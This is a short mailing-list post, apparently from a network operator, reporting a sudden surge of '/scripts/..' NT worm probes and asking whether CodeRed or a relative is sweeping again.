Subject: Worm probes

Has anyone else been seeing a dramatic increase in /scripts/.. NT worm
probes this morning?  We're seeing about 8000/second, starting around
9:15
Eastern time, to and from a wide variety of addresses.

Is CodeRed or one of its relatives scheduled to start sweeping again
today?
We've never seen this level of traffic related to the NT worms.  Even
though we don't run any NT at all, we still have to suffer :(
